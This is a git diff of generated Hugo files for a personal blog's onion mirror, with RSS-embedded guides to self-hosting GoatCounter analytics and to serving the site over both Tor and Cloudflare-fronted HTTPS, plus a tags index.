    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/hugo/page/1/index.html b/public-onion/tags/hugo/page/1/index.html new file mode 100644 index 0000000..271421e --- /dev/null +++ b/public-onion/tags/hugo/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/ + + + + + + diff --git a/public-onion/tags/index.html b/public-onion/tags/index.html new file mode 100644 index 0000000..47cfdbe --- /dev/null +++ b/public-onion/tags/index.html @@ -0,0 +1,561 @@ + + + + + + + +Tags | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/index.xml b/public-onion/tags/index.xml new file mode 100644 index 0000000..f7f4266 --- /dev/null +++ b/public-onion/tags/index.xml @@ -0,0 +1,565 @@ + + + + Tags on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ + Recent content in Tags on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Dkim + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dkim/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dkim/ + + + + Dmarc + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dmarc/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dmarc/ + + + + Dns + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dns/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dns/ + + + + Dovecot + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dovecot/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dovecot/ + + + + Homelab + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/homelab/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/homelab/ + + + + Mail + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mail/ + + + + Nginx + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/ + + + + Opendkim + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/opendkim/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/opendkim/ + + + + Postfix + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfix/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfix/ + + + + Postfixadmin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfixadmin/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfixadmin/ + + + + Roundcube + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/roundcube/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/roundcube/ + + + + Self-Hosting + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/ + + + + Spf + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/spf/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/spf/ + + + + Ctf + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ctf/ + + + + Lfi + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lfi/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lfi/ + + + + Linux + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/ + + + + Php + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/php/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/php/ + + + + Privesc + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privesc/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privesc/ + + + + Tuwien + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuwien/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuwien/ + + + + Web + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/web/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/web/ + + + + Cloudflare + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/ + + + + Docker + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/ + + + + Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/jellyfin/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/jellyfin/ + + + + Nextcloud + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nextcloud/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nextcloud/ + + + + Raspberrypi + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/ + + + + Security + 